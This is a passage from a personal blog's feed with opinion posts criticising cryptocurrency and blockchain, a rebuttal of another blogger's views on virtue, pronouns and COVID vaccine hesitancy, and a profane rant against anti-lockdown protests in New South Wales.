<p>National currencies used to be backed by gold and now they're backed by the nation's resolve to support the currency. Crypto-currencies are backed entirely by convention. You could argue that nations are conventions, but they are bound together by a constellation of motives beyond their currency.</p>
<p>Crypto-currencies are isolated conventions only backed by people's agreement that it is money. That is their appeal and their vulnerability, they are not tied to anything. This is why I object to the way it is common in crypto-currency circles to refer to national currencies as "fiat". Before crypto-currency, there was essentially a dichotomy:</p>
<ol>
<li><p>Money that either is a commodity (e.g. gold, diamonds) or is backed by a commodity. This kind of money has intrinsic value aside from its use as money as in a post-apocalyptic collapsed civilisation for instance you can still use your gold bars to smash in the skulls of people trying to steal your stash of food.</p></li>
<li><p>Money that is backed by agreement that it is money, and that has almost no intrinsic value. Generally this only worked on a large scale if someone big, like the government, agrees that it is money and encouraged others to do so such as by making this the only form of money acceptable for paying debts owed to the government (such as taxes) or for the government to use to pay debts.</p></li>
</ol>
<p>Until this century it wasn't really practical to have a large scale type #2 money for general use without it being backed by a government and so the term "fiat money" came to mean the whole of type #2. Bitcoin and similar crypto-currencies are type #2 but not government backed. By using the term "fiat" to refer to other type #2 money, it gives the impression that Bitcoin is not type #2 which leads people into thinking Bitcoin is type #1 instead.</p>
<p>I've seen people invest in Bitcoin thinking that they are investing in a gold-like money because of this. The dichotomy needs to become a trichotomy: commodity money, government-backed fiat money, and non-government-backed fiat money.</p>
<p>Granted, the crypto-currency community seems to have moved away from attempting to use crypto as a currency and more a "store of value" like gold, sort of making it more a commodity, which makes more sense considering it's deflationary characteristics, but I just wanted to get that off my chest.</p>
<p>The core technology behind all cryptos, the "blockchain" is straight garbage. This isn't like self-driving cars where I could see it getting better eventually, <strong>no</strong>, it's a trash idea. Ah yes, how about a linked list where every node contains a hash of all the data of the nodes behind it, and every time you want to add a new node, you need 100,000 computers to say "OK" to it. Simply put, there are no reasons for why you would want a decentralised blockchain over a centralised database apart from ideological ones.</p>
<p>Ideological reasons like being free from government regulation. But… eh, why do you think government regulation exists? Not everyone will have the ability or will to "be their own bank", how do you prevent them from being scammed, or involved with fraud?</p>
<p>Decentralisation is bad, actually.</p>
<p>Sure, it's a good thing to strive for, but they are inevitably more complicated, difficult to use, and much harder for the average person to understand. I mean, look at what I had to do to get this blog permanently on IPFS. Decentralised technology like IPFS doesn't work well until the network effects build up, if they ever do. I'll just point to the millions of torrent files today that will remain unseeded forever. Durability with P2P only works as a complement to centralisation.</p>
<p>I've heard people say smart contracts will allow us to completely revolutionise the Internet at large with its' "code is law" philosophy where you'll no longer need to trust any third party and can just run anything on some code on a blockchain.</p>
<p>This still requires you to trust the person who wrote the code though, so I have <strong>no</strong> idea why people keep pushing this idea of having no middleman. I've met people who write code, I've seen the code they write, very few of them I would trust with any amount of my money.</p>
<p>At best you can say smart contracts are a more "neutral" middleman, which makes sense if you have no idea how code is written. Forgetting the fact that people can just write the code wrong, any complex codebase is filled with the biases and assumptions of the people who have written it.</p>
<p>The most obvious example is AI, which often times shows more transparent biases as they are only trained on specific things.  But something a little more interesting and less known are the "historically rooted gender divisions of labour that are replicated and even amplified in the digital economy, and particularly work in platform-mediated/online and virtual spaces".</p>
<p>I encourage you to read Bama Athreya's paper, "<a href="https://idl-bnc-idrc.dspacedirect.org/handle/10625/60354">Bias In, Bias Out: Gender and Work in the Platform Economy</a>."</p>
<p>Oh yeah, there's also NFTs. I'd rather not even talk about them.</p>
<p>Crypto-currencies are a solution looking for a problem. But they can make you a lot of money, the tech-bros are right about that one thing.</p>
<p>To be honest, I think having a "useless" investment asset could be useful and better when compared to other investment assets.</p>
<p>When people who already have bought a house want to buy another house as an investment, what happens? The demand for houses becomes higher, raising prices. And since these people already have a house, it's a decent indicator that they have the money for it, so they'll be able to pay more than someone just entering the market. And now, home ownership is out of reach for most young people.</p>
<p>When a business sells it's ownership as equity to other people, what happens? The business is incentivised to grow more to increase the price of its' stocks. It's incentivised to do this forever because people want their investments to grow forever. And since a business can't keep growing forever, eventually it has to do something to increase profits, like decreasing working pay/conditions, or using customer brand loyalty to get away with selling worse products, or just buying out competitors and dismantling them. And now, a dystopian nightmare where the established business can use it's existing wealth to strangle innovation.</p>
<p>So, when someone buys Bitcoin, what happens? The price of Bitcoin goes up or down, and the rest of the world is not affected. Well… apart from all the energy consumed by datacenters used to mine the Bitcoin.</p>
<p>One other thing I like about crypto is how you can simulate economy experiments using the funny Internet money. Ponzi scheme? There are plenty of those going on. Want to investigate Harberger's triangle/deadweight tax loss? Create a small game.</p>
<p>As long as you approach it from the perspective of "this money is worthless" it's all just a fun learning experience about economic theory. Although, mostly of theories from Austrian school economics, but still worthwhile I think even if it's not the type of theories you personally subscribe to.</p>
<p>I've basically just relegated crypto-currencies to complicated forms of gambling, but seriously, this really is me genuinely trying to find a use for them.</p>
<p>Crypto-currencies aren't this society transforming technology that mark a new era of humanity. They're some bits on a computer that people think is worth something, and there's only so much you can do with that. If you <em>really</em> want to solve our economic problems, reduce wealth inequality, or create a better Internet, I suggest looking outside your own perspectives and not trying to solve money problems by replacing it with money, but now with computers.</p>
<p>And like with cars on streets, I'd look at a solution that tries to get <strong>rid</strong> of money altogether.</p>
<p>Now that doesn't necessarily mean the destruction of Capitalism, if that's what you think I'm going for,<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> systems like <a href="https://www.lowimpact.org/lowimpact-topic/mutual-credit/">mutal credit</a> are actually used by many businesses currently when dealing with other companies, they'd just need some work to become standardised for everyone else to use without being too fragmented.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>You are right though.</span></aside>
<p>Again, technology isn't going to be able to solve anything by itself, and sometimes it just distracts from the things that could actually solve them. Our over reliance on using technology to solve societal woes has given too much power to the people who create it, and mostly - to those who sell it. Because it's the marketers who shape people's perceptions on what is actually possible and how useful it can be.</p>
<p>It's easy to get someone it buy into a new shiny piece of tech by throwing buzzwords and technical jargon at them. It's less easy to actually understand the underlying problems of a complex civilisation and attempt to solve it holistically, where technology may not be needed or is just used to make it more efficient.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Let's Try That Again]]></title>
        <id>https://justin.duch.me/post/a_response</id>
        <link href="https://justin.duch.me/post/a_response"/>
        <updated>2021-09-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I'm still unhappy</p>
<p>from the last post I made —</p>
<p>Here is a new one</p>
<hr />
<p>This is going to be a response post to someone's comments on their stance against taking the COVID vaccine. Personally, I've found this person to have the best arguments against it. And judging from their previous writings on programming and systems design, they appear intelligent enough for me to think that they've actually thought this through (even if they're wrong).</p>
<p>However, keep in mind that I generally dislike this person<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span>, so my arguments may not be in good faith. And to give you an idea of why let's talk about something completely different.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Although I don't think I'd like anyone who'd have opinions like these anyway.</span></aside>
<hr />
<blockquote>
  <p>The historian owes the dead nothing but the truth.</p>
  <ul>
  <li>Jean-Baptiste-Joseph Delambre, <em>Histoire de l'astronomie moderne</em></li>
  </ul>
</blockquote>
<hr />
<p>In their post "<a href="https://gavinhoward.com/2021/03/how-to-destroy-a-society/">How to Destroy a Society</a>", Gavin Howard explains how there's one simple cause for the destruction of a society, "[…] the loss of virtue and religion."</p>
<p>One of the losses of virtue Howard lists as leading to the fall of a society is chastity, which he states as follows.</p>
<blockquote>
  <p>What can happen when chastity is lost?</p>
  <p>Several things, actually:</p>
  <ul>
  <li>Marriage becomes less important.</li>
  <li>Fidelity in marriage is not observed.</li>
  <li>Homosexuality becomes accepted.</li>
  </ul>
  <p>There are many others, but this is sufficient because it can be easily that all of those results will eventually lead to the degradation of the nuclear family.</p>
</blockquote>
<p>Oh, now might be a good time to mention that Howard is a "member of The Church of Jesus Christ of Latter-day Saints."</p>
<p>So two of those things are false, and the other is a good thing. Abstinence before marriage does not lead to a better relationship life during marriage, nor does abstinence education lead to less unplanned pregnancies.</p>
<p>I would provide some sources to my claims, but it's not like Howard did it anyway, so I'm just following the standard set to me. I will say however, it's very easy to type "<a href="https://www.google.com/search?&q=abstinence+until+mariiage+programs+research">abstinence until marriage programs research</a>" into Google.</p>
<p>The other virtues aren't as stupid, but they all share one element (by virtue of being virtues) - a focus on the individual.</p>
<p>The thing about societies is that they aren't just made up of individuals, but the systems those individuals create and reside power over. It is the systems that collapse, not the individual.</p>
<p>A long time ago in a post about COBOL, I've briefly mentioned something similar with Jonathan Blow's talk "<a href="https://www.youtube.com/watch?v=pW-SOdj4Kkk">Preventing the Collapse of Civilization</a>" in relation to software. But there's a really good book by Joseph Tainter called "The Collapse of Complex Societies" which is about a lot more.</p>
<p>Tainter argues that the development of a complex society is predicated on the exploitation of low hanging resources. The investment to acquire these resources is easily outweighed by their benefits. This allows for the support of specialized roles that do not necessarily contribute to the sustainability of the society (aristocrats, priests, etc.). Subsequent resource extraction (be it in the form of new mines, new agricultural lands, or new conquests) have a lower return on energy invested generating a smaller surplus to sustain the complex society.</p>
<p>Eventually a society will reach a point where existing resources or potential new resources cannot maintain the level of complexity the society currently has. The result is a decline in public works/investments, the loss of centralised control and influence, and the loss of the periphery regions of the society (which are not always a peaceful or gradual process). The society will then start "declining" to a level of lower complexity with more decentralised local control, less public works, etc, at which point it may go far enough to be considered "collapsed."</p>
<p>I've also gone through a few episodes of the "<a href="https://www.youtube.com/c/FallofCivilizationsPodcast">Fall of Civilizations Podcast</a>" which Howard recommends at the start of his article. And it is quite good, but I have no idea how Howard is able relate the ideas of virtue to it.</p>
<p>After skipping a bunch things that I frankly, don't find particularly interesting, one of Howard's comments that I want to make note of is this.</p>
<blockquote>
  <p>Oh, and we need to take into account the fact that disease really is what conquered the natives in the Americas.</p>
</blockquote>
<p>Hmm.</p>
<p>Out of context that sounds pretty bad, but when you give it the context it's… yeah it's not better. You should go read it for yourself.</p>
<p>Howard then states that the way to prevent the loss of virtue is religion. I'm going to just paste the entire argument here because I this is the most important part.</p>
<blockquote>
  <p>Say you don’t believe in God, yet you are virtuous. What could make you abandon virtue?</p>
  <p>Maybe it’s the fact that if others lose their virtue, you will find yourself out-competed, so in order to eat, you need to abandon your virtue. Or maybe you know that there are people who are trying to destroy the society, and in order to defeat them, you need to abandon your own virtue.</p>
  <p>In those cases, what do you do? You don’t believe that mankind is accountable to God because you don’t believe in Him, so obviously, those evil people have to be stopped and punished in this life, right?</p>
  <p>So to ensure that those enemies of society are stopped, you abandon your virtue.</p>
  <p>Or say that you are called to be a witness against someone you don’t like, someone who you think is guilty, but don’t know it. If you don’t believe in God, and know that no one will ever know if you give false testimony, why wouldn’t you? Why wouldn’t you abandon the virtue of honesty if you don’t believe in a God that would hold you accountable in the next life?</p>
  <p>Congrats! You are now part of the problem.</p>
  <p>But if you believe in God, and that all mankind is accountable to Him, it’s easier to refuse to abandon your virtue and allow Him to help you and to either stop society’s enemies or to ensure that justice is served in the next life.</p>
</blockquote>
<p>So from the second paragraph we find out that people who aren't virtuous compete better than those who are. Compete in what? Judging by the fact that apparently you need to compete in this thing to be able to eat, this sounds really familiar but in order to not say the "C" word, I'm just going to say that it's system of organisation where you compete for money to buy the food to eat. And it is this system that incentivises people to lose their virtues.</p>
<p>Keep this in mind, I'll get to it later.</p>
<p>Next is the idea that people who aren't virtuous want to destroy society (or people who want to destroy society aren't virtuous, doesn't matter either way). This is just plain stupid. Honestly, nobody wants to destroy society, it's in everyone's best interest to want a better and more prosperous society. So it's more just that some people's idea of a better and more prosperous society goes against others.</p>
<p>Sure some may want society replaced with something else and that may involve the destruction of the old one. But the idea is that it comes out better than it was before. This black and white view of people helps no one.</p>
<p>As for Howard's idea on how believing in God would allow to resist abandoning your virtue. That just does not happen, if anything it allows people to mental gymnastics their way into believing that they aren't abandoning their virtue when they really are. One look at the Catholic Church (and other similar churches) confirms that.</p>
<p>But if we look at both Tainter and Howard's ideas, I think there is a clear solution.</p>
<p>The implementation of a sustainable society, not built on a rat-race to wealth and power, preferably one built around decentralised control instead of rejecting it for complexity, and one where people are celebrated and rewarded for helping others. Such a society would be able to correctly manage the commons and the scarcity of resources as well as prevent people from losing their virtue because of "competition."</p>
<p>As for the witness scenario that Howard described, for me there's a very simple answer. Lying makes me feel bad, so I don't do it. If lying doesn't make <strong>you</strong> feel bad enough so much so that you require yourself to believe in an outer-worldly power that judges you in order to not do it, I think you have other problems.</p>
<hr />
<blockquote>
  <p>Right where I left it. Right as I remember it.</p>
  <p>Let's see what old sins lie in wait.</p>
  <ul>
  <li>Multiple authors, <em>SCP 6060</em></li>
  </ul>
</blockquote>
<hr />
<p>I am not done yet, let's talk about pronouns or specifically, "<a href="https://gavinhoward.com/2020/01/free-speech-and-pronouns/">Free Speech and Pronouns</a>."</p>
<blockquote>
  <p>As I have said before, there is no “freedom from offense.” The most important thing this means is that people cannot be compelled to show respect to others.
  Transgender people, if you <em>demand</em> that others use your preferred pronoun, you are compelling them to show you respect. In that case, you are not the victim; you are an authoritarian, and you are attempting to remove their freedom of speech and their agency.</p>
  <p>[…] if [the non-binary person Gavin knows] had demanded that I memorize the forms of a pronoun I did not know and then expect me to get it right, they would have lost my respect.</p>
</blockquote>
<p>Are two words (usually less than 4 letters each) really that hard for Howard? Keep in mind that trans people are a tiny fraction of the population and even less would use "non-standard" pronouns that you haven't memorised already.</p>
<p>This is where I'd really like some examples from Howard, in my experience every trans person has asked very nicely for me to use their preferred pronouns<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>. I've never felt like I was forced to or that it was "demanded" of me.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Actually, most don't even ask. It's not that difficult to see a trans woman and just start using she/her, as that's probably what she's using, because you know, she's a woman.</span></aside>
<p>But anyway, pronouns aren't about respect. They're the baseline human decency you can give to someone, it's a signifier that you recognise them as a person and one of the biggest parts of their identity.</p>
<p>It's also about being correct. I don't know how to tell you this, but there are more than two genders. I don't know how many, something about it being a social construct makes it hard, and to be honest I don't really care either.</p>
<p>What I do know is that if someone isn't a man or woman, than it's incorrect English to use "he/him" or "she/her." It is however correct to use "they/them" in most cases, and if they want to be called by some weird ass pronoun instead, I don't really mind - there are worse things to have been added to my English lexicon and the language in general.</p>
<p>If Howard insists on misgendering someone just because of a lack of "respect" for them, then I feel like they never had any for them to begin with. In which case, the pronouns clearly aren't the issue here.</p>
<p>Last thing I want to mention is that at the start of the post has her talking about the "recent problems regarding a new Code of Conduct at Stack Overflow" and how they feels "vindicated about [her] policy of <a href="https://gavinhoward.com/2018/11/code-of-conduct-for-yzena/">not having a Code of Conduct</a>."</p>
<p>That post linked starts with the following quote.</p>
<blockquote>
  <p>I don’t like Codes of Conduct. They can be easily misused.</p>
</blockquote>
<p>Wow a document describing how people should act in a community is misused by those in power to justify their behaviour? Feels like we just talked about that, but maybe they should add a few parables to make it easy to digest for the brainless masses.</p>
<hr />
<blockquote>
  <p>Comme pour le prier de le tirer de l’embarras où il se trouvait.</p>
  <ul>
  <li>Alexandre Dumas, <em>Le Comte de Monte-Cristo</em></li>
  </ul>
</blockquote>
<hr />
<p>Finally, let's get back to the subject. The post "<a href="https://gavinhoward.com/2021/07/my-thought-process-regarding-vaccines/">My Thought Process Regarding Vaccines</a>" is what I'll be going through now.</p>
<blockquote>
  <p><a href="https://covid.cdc.gov/covid-data-tracker/#trends_dailytrendscases">According to the CDC</a>, there have been about 33 million cases of COVID in the US. If we take that as an average probability that I will have COVID myself, I have a 10% chance of getting COVID. (Assuming a population of 330 million.) Of course, that assumption might not hold, but there have been people getting reinfected, so it seems like a good enough assumption for now.</p>
  <p>A 10% chance of getting COVID, plus a 0.03% chance of dying from COVID for my age group, leads to a total chance of dying from COVID to be 0.003%.</p>
</blockquote>
<p>So he thinks that because there are 33 million cases of COVID in US with a population 330 million people, that there is a 10% chance of getting COVID.</p>
<p>Do you see the problem with this estimation? It's so fucking obvious, I genuinely can't believe they would even think about this, let alone type it down.</p>
<p>This post was published on 27 July almost two months ago from when I'm writing this now. So let's look at that CDC website he linked to see the cases now.</p>
<p>OH WOW LOOK AT THAT IT'S NOW 40 MILLION!</p>
<p>So does that mean the chance to get COVID is now 12%? It has gotten higher?!</p>
<p>No, it didn't. That number isn't the chance to get COVID, it's <strong>literally</strong> just the percentage of people who have gotten COVID in the US at this point in time and that's it, <strong>nothing else</strong>. Your chance of getting COVID is determined by how you respond to it. If you do nothing on a long enough time scale, then the chance is 100% or close enough to it.</p>
<p>You can't extrapolate this from previous data because it's completely reliant on the present circumstances.</p>
<p>The next few paragraphs are useless to us because it just builds on this faulty assumption so let's move on. The biggest thing I hear parroted by everyone who I've heard who doesn't want to take the vaccine is this.</p>
<blockquote>
  <p>One thing that really matters is the lack of long-term studies on the effects of the new mRNA vaccines. While the normal vaccines can claim some evidence from other vaccines (although, as you should know, implementation matters more than theory, so that evidence is still weak because the normal COVID vaccines could still be implemented poorly), the mRNA vaccines have no evidence of long-term effects at all.</p>
</blockquote>
<p>All side effects from vaccines develop within 2 months of inoculation. I was inclined to say "virtually all" or "almost all", but after some reading, I realised that would be wrong.</p>
<blockquote>
  <p>“Side-effects nearly always occur within a couple of weeks of a person being vaccinated,” says John Grabenstein, director of scientific communication for the Immunization Action Coalition. He adds that the longest time before a side effect appeared for any type of shot has been six weeks.</p>
</blockquote>
<p>From "<a href="https://www.nationalgeographic.com/science/article/vaccines-are-highly-unlikely-to-cause-side-effects-long-after-getting-the-shot-">Vaccines are highly unlikely to cause side effects long after getting the shot</a>." The title might say "highly unlikely" but the content says otherwise.</p>
<p>The active ingredient in the mRNA vaccine degrades after two weeks. Realistically, for a side effect to occur years later when it has left your body two weeks after the injection there would have to be some magic involved.</p>
<p>Normally, in regards to medicine having long term effects the key factor here would be dosage. How long are you exposed to it, and how often. If it's a daily medication, or if you're working with something environmentally hazardous, you work with it for a long time and that gives you a high risk of developing any complications.</p>
<p>Without repeated exposure, short lived medicine will have short-lived effects and short-lived after-effects, and they will either be:</p>
<ul>
<li>Damaging, and immediately evident or;</li>
<li>Not immediately evident, and either repairable, or with minimal after-effect.</li>
</ul>
<p>And no, just because the primary effect of vaccines are to provide long term immunisation from a virus doesn't mean the vaccine itself can have long term effects. The purpose of a vaccine is to teach your body to create antibodies by itself, you know the saying: "teach a man to fish…"</p>
<p>So now if you're asking why the antibodies can't harm you, well that's like asking why red blood cells can't harm you. They're a natural part of your body. They <em>can</em> sometimes go wrong, like with <a href="https://www.chop.edu/centers-programs/vaccine-education-center/vaccine-safety/antibody-dependent-enhancement-and-vaccines">ADE</a>, but we know that COVID antibodies don't do that as mentioned in the article.</p>
<blockquote>
  <p>Many vaccinated people have been exposed to the virus, and its variants, and most of them have developed no disease or mild symptoms. A very small number have experienced more severe disease (“breakthrough infection”), and these individuals have not shown evidence of ADE.</p>
  <p>Unfortunately, some people continue to spread misinformation suggesting that ADE is an ongoing concern for COVID-19 vaccines; however, scientists and clinicians are continuing to monitor COVID-19 infections and, to date, no evidence to validate this concern has emerged.</p>
</blockquote>
<p>By the way, there's no long term study on the effect of COVID either<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>, and COVID isn't designed to degrade after two weeks. Of our current vaccine technology, the mRNA is the most modern, and most targeted because they do not need to have any of the other genetic material that you would have in the older vaccines (where old vaccines would give you a weakened version of the virus).</p>
<p>So if the mRNA vaccine is just the "blueprints" to the spike protein, would the real thing not be much worse?</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>We do already know there are some long term effects however, it can cause some damage to your lungs.</span></aside>
<blockquote>
  <p>I see people on Twitter and other public forums shaming others for not getting vaccinated. They also encourage others to do so in real life. (One person I used to follow on Twitter encouraged a follower to, at family gatherings, tail the members of his own extended family that are unvaccinated and yell, “UNVACCINATED!” at others to shame his family members.) I see governments instituting carrot and stick incentives to get the vaccines. The carrots are really insipid (lotteries), and the sticks are excessive (jail or shunning from society).</p>
  <p>These make me nervous, especially the sticks. This makes me think it is less about the virus and more about control. This looks like authoritarianism to me, and beyond the thought process I made above, I had one big pressing concern: I do not want authoritarianism to take over.</p>
</blockquote>
<p>Before I get into this, I want to say something I don't think I heard that many times before. Dying <em>from</em> COVID is not necessarily the same thing as dying <em>because of</em> COVID. Let's think this through.</p>
<p>Many people who get COVID will need to go to the hospital, they won't necessarily die from it (in fact, they probably won't), but there's a decent chance they'll go to the hospital. Right now the CDC is showing 67 thousand new cases<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> and 11 thousand new hospitalisations for today only.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Side note, but wow that makes NSW's daily case number of the low 1 thousands make us look like we're doing really well even when you adjust it for population.</span></aside>
<p>Hospitals don't have infinite room and people still need them for other reasons. If people with COVID are taking up all the ICU's, where do the other people go? That was the point of "flattening the curve" with lockdowns, to make sure the hospitals aren't overwhelmed and there aren't more deaths than there needs to be (not that there needs to be any).</p>
<p>Now of course, lockdowns aren't that good a solution (especially without government assistance to help unemployment) and I've heard people say that our lockdowns in Australia (and other countries too I'm guessing) would cause more death because of the decrease in mental health. Well, what do you think happens to someone's mental health when one of their loved one dies?</p>
<p>What about the mental health of all the doctors and nurses who will be (and already are to be honest) overworked, understaffed, and having to deal with whiny assholes who don't want to take a vaccine?</p>
<p>But along with our health infrastructure, what of our "death" infrastructure? Most cemeteries and crematoriums are managed by only one or two people at a time (specifically, the people who actually do the work and not just own the business). What do you think will happen to someone who now has bodies piling up against their door?</p>
<p>"Well the hospitals and crematoriums can just hire more people."</p>
<p>Oh is that what you think will happen? You think a business is going to spend <strong>more</strong> money, when their very existence depends on spending the least amount of money as possible?</p>
<p>No, what will happen… no actually, what <strong>is</strong> happening right now is that the workers are overworked and stressed. The owners are refusing to help them. They are quitting.</p>
<p>"Sure but now the business is forced to replace them, they'll realise their mistake and hire more people then."</p>
<p>How I wish I could live in your little fantasy land.</p>
<p><strong>If</strong> they get replaced, do you think that they'll actually be "replaced?" Do you think the kid with only a 6 month internship can truly replace the senior with 5 years? Maybe they can at least be useful with some training, but who will do the training? Who will <strong>pay</strong> for the training?</p>
<p>Welcome to Capitalism.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Oh fuck I said the "C" word, I'm sorry.</span></aside>
<p>And do you think that all the problems a lockdown causes (low economic activity, general unease, etc) would also not happen if we let a pandemic rip through the population? Because if you do, I have a bridge in Brooklyn to sell to you.</p>
<p>COVID is a problem bigger than itself with hundreds of little unseen ripple effects (not helped by our current system of labour organisation). The vaccine is the easiest and most effective way to get out with the least amount of consequences, except there's only one consequence and that is that it's existence turns some people into annoying cry-babies.</p>
<p>With all that said, I can only speak for what Australia has done but yes, I think some measures can be seen as too authoritarian. But I'm also of the belief that if you want to participate in society, you mustn't be a danger to others. So I believe these measures are sufficiently justified under a concern for public health.</p>
<p>You could then argue that any authoritarian move should be resisted, which I would agree with. But in the grand scheme of awful authoritarian moves being done, why are you protesting so hard the one that would improve public health? I can think of three words that have recently come from the US which are much more disastrous.</p>
<p>Texas abortion bounty.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Finland Seems Nice]]></title>
        <id>https://justin.duch.me/post/lockdown_rant</id>
        <link href="https://justin.duch.me/post/lockdown_rant"/>
        <updated>2021-08-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>825 is the new highest number of daily Covid-19 cases recorded by any Australian state at any time during the pandemic.</p>
<p>And what better way to celebrate than to <a href="https://www.abc.net.au/news/2021-08-21/nsw-police-arrest-47-issue-260-penalties-anti-lockdown-protest-/100396384">protest in large numbers</a> about lockdowns caused by people gathering in large numbers! Yes it's big brain time.</p>
<p>This is the first time I've ever talked about lockdowns on this site, and it's going to be my last. I'm tired of all of this shit so this is just going to be some unhinged rant by some enby who spends too much time on the Internet.</p>
<p>As much as I'd like to blame the government for everything wrong in this country, Australia is a democracy (or at least, it looks like one if you squint your eyes and don't think too hard about what you see) and the only reason the government has the power to completely fuck everything up is because the people gave it to them.</p>
<p>A lot of the people who show up to these protests are folks with some legitimate claim to hardship. This is because of the obvious and varied failures of the government in addressing this "once in a century pandemic" as well as just in general.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> They are angry, and that's fair. I'm angry too, I get it…</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you want a nice list of the failures of the Australian government, here you go: https://www.mdavis.xyz/govlist</span></aside>
<p>…Is what I would be saying if it wasn't 1 AM, I wasn't missing the start of le 24 heures du Mans to write this, and I still had some empathy left in me after spending a few hours right before this in Telegram chat rooms reading these people's batshit conspiracy theories and complaining about being fined for deliberately endangering the health and safety of others.</p>
<p>No this is a rant remember?</p>
<p>I'm so sick of these dumb cunts finding conspiracies in the most obscure places and all the mental gymnastics they do to connect the dots when all they have to do is look at past, current, and future proposed policies by the government they voted for that's constantly eroding their social freedoms, workers rights and environment at every opportunity.</p>
<blockquote>
  <p>Graham Lyons does not think the COVID-19 pandemic is real, and he is willing to go to jail to prove it.</p>
  <p>He has also refused to wear a mask and will not sign-in to businesses he visits.</p>
  <p>"The government has no right to track the citizenry like that," he told the ABC.</p>
  <ul>
  <li><a href="https://www.abc.net.au/news/2021-08-21/covid-19-accelerating-rise-of-conspiracy-movements-in-australia/100393666">"COVID-19 is accelerating the rise of conspiracy and sovereign citizen movements in Australia"</a></li>
  </ul>
</blockquote>
<p>Of course, it's the check in app that's going to let the government track you and read your thoughts, not all the cyber (in)security legislation they're passing. Let's not even mention how face masks can screw up facial recognition - one of the easiest ways (for a government) of tracking people's physical location.</p>
<p>What the fuck do these people actually want from all this?</p>
<p>There's these interesting quotes from the first article I linked about what people were saying in chat rooms the protests.</p>
<blockquote>
  <p>After arrests, users inside encrypted messaging apps where the protests were being organised in real-time began to panic.</p>
  <p>"Where are our leaders?!" one Sydney user wrote into the group.</p>
  <p>"Where the f*** are people who promised to lead it?"</p>
</blockquote>
<p>They're authoritarians.</p>
<p>Yeah, it might be little strange calling conspiracy theorists railing against the government "authoritarians". Normally, you'd think of authoritarians as the "dictator", "ruler", or "tyrant" who wants complete control. That's one type of authoritarian, and I'm sure some of them are like this (maybe the "people who promised to lead it").</p>
<p>But these people are more of the second type - someone who, because of their personality, <strong>submits</strong> to their authorities. These are the "followers" and are actually the authoritarian personality that psychology has studied the most, because it's how the first type even gets their power.</p>
<p>Followers have mainly copied the beliefs of the authorities in their lives. They have not developed and thought through their ideas as much as other people have. Almost anything can be found in their heads if their authorities put it there, even stuff that contradicts other stuff.</p>
<p>Why do you think these people go to these anti-lockdown protests when it's proven around the world (and in Australian states that aren't NSW) that a quick lockdown to catch the spread early <strong>works</strong>. There are even stories of people who still deny the existence of Covid even after some they know has died from it.</p>
<p>They have no real ideology, or one that they came to by themselves.</p>
<p>At least I can understand that a capitalist would be anti-lockdown in order to keep their workers and the economy "going".<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> But what the hell do these people get out of allowing a pandemic to spread unchecked?</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Even though the economy would be a lot worse if millions of people died than if there was just less business activity for a week.</span></aside>
<p>They're stupid narcissists who just want to get rid of anything they personally don't agree with. And most of the time they don't even know why they don't agree with it.</p>
<p>They think they're special because they know the "truth", when all they do is regurgitate what the leader and their circle tells them. Then they go on quoting Instagram musicians, photographers, influencers, and extremely shady "doctors" who don't even experience in any relevant fields as their source, and saying things like "I DID MY RESEARCH, STOP BEING A SHEEP".</p>
<p>Researching only what you want to hear is not research, it's called confirmation bias you dumb shit.</p>
<p>And isn't it funny when they keep saying to "think for yourself", "don't be a sheep" and "do your own research" but they seem to believe and say the exact same things as every other nutjob. Take a look at yourself.</p>
<p>Perkele.</p>
<hr />
<p>Here's a small addendum that isn't so ranty, because saying mean things genuinely makes me feel bad so I have to add this to be able to sleep tonight (or "tomorning" since it's now 2 AM).</p>
<blockquote>
  <p>It is useless to attempt to reason a man out of a thing he never was reasoned into.</p>
</blockquote>
<p>The appeal of the these conspiracy theories doesn't come from a position of logic, it comes from a position of emotion - and you can't reason someone out of the way they feel.</p>
<p>And on some level, what they feel is <strong>right</strong>. There is something wrong with this world, there are bad people doing bad things. But this ain't it my guy.</p>
<p>Yes, the Australian government (from local to federal level) is complete garbage rife with corruption.</p>
<p>Our Covid response (in NSW) has been confused with outright contradictory official communications, the state has been given centralised even more and given unscrutinised emergency powers, public health responses are led by police, and all combined with goalposts that are less on wheels as they are simply phasing through space-time all combine to make countering conspiracies or easing the mind of their audiences rather difficult.</p>
<p>There are serious problems with the government. But you are the people who voted them in,<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> why did you not see this coming? And why are you blaming something else?</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>The majority are NLP voters, let's be real here.</span></aside>
<p>I'd like to believe that these people are just manipulated by the actual authoritarians and they could easily get back on track if given enough time and understanding, but sometimes I'm not so sure.</p>
<p>Also to be fair, not all the anti-lockdown people subscribe to these conspiracy theories. Some of them are just people who want haircuts and don't care that people may die. Although that might be worse now that I'm thinking about it.</p>
<p>Anyway if you want something to make you feel calmer, check out this Reddit post I found called "<a href="https://www.reddit.com/r/raining/comments/p7iyoz/rainy_peaceful_pond_in_finnish_wild_forest_kerava/">Rainy Peaceful Pond in Finnish Wild Forest - Kerava Finland</a>". Unless rain and Finnish forests aren't calming for you, in which case you can go fuck yourself.</p>
<p>…</p>
<p>Perkele.</p>
<hr />
